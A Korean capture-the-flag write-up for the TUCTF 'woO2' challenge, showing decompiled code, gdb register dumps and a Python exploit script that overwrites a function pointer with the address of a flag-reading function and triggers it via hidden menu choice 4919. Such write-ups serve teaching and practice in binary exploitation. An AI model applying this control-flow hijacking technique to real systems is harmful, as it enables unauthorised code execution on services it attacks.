-
TUCTF woO2CTF 2016. 5. 18. 02:50
바이너리는 64비트 elf 이다.
void makeStuff() { unsigned int v0; // [sp+Ch] [bp-4h]@1 puts("Enter your choice:"); fflush(stdout); __isoc99_scanf("%d", &v0); getchar(); if ( v0 == 3 ) { makeBear("%d", &v0); } else if ( (signed int)v0 > 3 ) { if ( v0 == 5 ) exit(0); if ( (signed int)v0 >= 5 ) { if ( v0 == 4919 ) pwnMe(); LABEL_16: printf("Invalid choice :( %d\n", v0); exit(0); } deleteAnimal(); } else if ( v0 == 1 ) { makeLion("%d", &v0); } else { if ( v0 != 2 ) goto LABEL_16; makeTiger(); } }
일단 각각의메뉴가 있는데, 중요한건 4919를 입력했을경우의 pwnMe가 호출된다는것이다. 코드를보자
void __noreturn pwnMe() { __int64 v0; // [sp+0h] [bp-10h]@1 v0 = (__int64)*(&pointers + bearOffset); if ( *(_DWORD *)(v0 + 20) == 3 ) (*(void (**)(void))v0)(); exit(0); }
일단 이렇게만 보면 잘모르겠다.
.text:0000000000400D18 call rax
rax 를 call 해준다, 그럼 이제 rax 를 컨트롤만 해주면되는데, 다음코드를 보자
text:0000000000400B75 mov rdx, cs:stdin@@GLIBC_2_2_5 ; stream
.text:0000000000400B7C mov rax, [rbp+s]
.text:0000000000400B80 mov esi, 14h ; n
.text:0000000000400B85 mov rdi, rax ; s
.text:0000000000400B88 call _fgets
tiger 를 입력하는곳인데, 2 -> 3을 누르면된다.
일단 우리가 입력해준값을 rax에 담는다. 그럼 rax를 컨트롤 할수있단 소리아닌가..? 디버깅을해보자
(gdb) i r
rax 0x3837363534333231 4050765991979987505
rbx 0x0 0
rcx 0x10 16
rdx 0xa 10
rsi 0x7ffff7dd59f0 140737351866864
rdi 0x7ffff7dd4640 140737351861824
rbp 0x7fffffffea80 0x7fffffffea80
rsp 0x7fffffffea70 0x7fffffffea70
r8 0x7ffff7fdf740 140737354004288
r9 0x0 0
r10 0x1337 4919
rax가 내가 입력한값으로 컨트롤된다. 그리고나서 세그먼트폴트가 터지는데, 어디서 터지는지 확인해보자
(gdb) x/i $rip
=> 0x400d18 <pwnMe+55>: callq *%rax
call *%rax에서 터진다. 그럼 내가 입력한값을 호출한단건데, 좋은함수가 있는지 찾아보자
__int64 l33tH4x0r() { FILE *stream; // ST08_8@1 char s; // [sp+10h] [bp-40h]@1 __int64 v3; // [sp+48h] [bp-8h]@1 v3 = *MK_FP(__FS__, 40LL); stream = fopen("flag.txt", "r"); fgets(&s, 50, stream); puts(&s); fflush(stdout); fclose(stream); return *MK_FP(__FS__, 40LL) ^ v3; }
이렇게 반가울수가.. flag를 읽어주고 출력해주는 함수가 존재한다.
그럼 딱봐도 페이로드가나오네용
from socket import * from ctypes import * import struct from telnetlib import * p = lambda x:struct.pack("<Q",x) up = lambda x:struct.unpack("<Q",x) flag = 0x40090d def recvuntil(t): data = '' while not data.endswith(t): tmp = s.recv(1) if not tmp: break data += tmp return data HOST = "10.211.55.8" PORT = 11005 s = socket(AF_INET,SOCK_STREAM) s.connect((HOST,PORT)) print recvuntil("choice:") s.send("2\n") print recvuntil("4: Caspian Tiger") s.send("3\n") print recvuntil("Enter name of tiger:") s.send(p(flag) + "\n") print recvuntil("choice:") s.send("4919\n") t = Telnet() t.sock = s t.interact() s.close()
'CTF' 카테고리의 다른 글
Defcon 23 - babycmd (7) 2016.05.19 TUCTF pwn75 (0) 2016.05.18 dimictf - pwn250 (0) 2016.05.18 H3X0R CTF - bughunt (3) 2016.05.15 H3X0R CTF - Simple_Test (5) 2016.05.15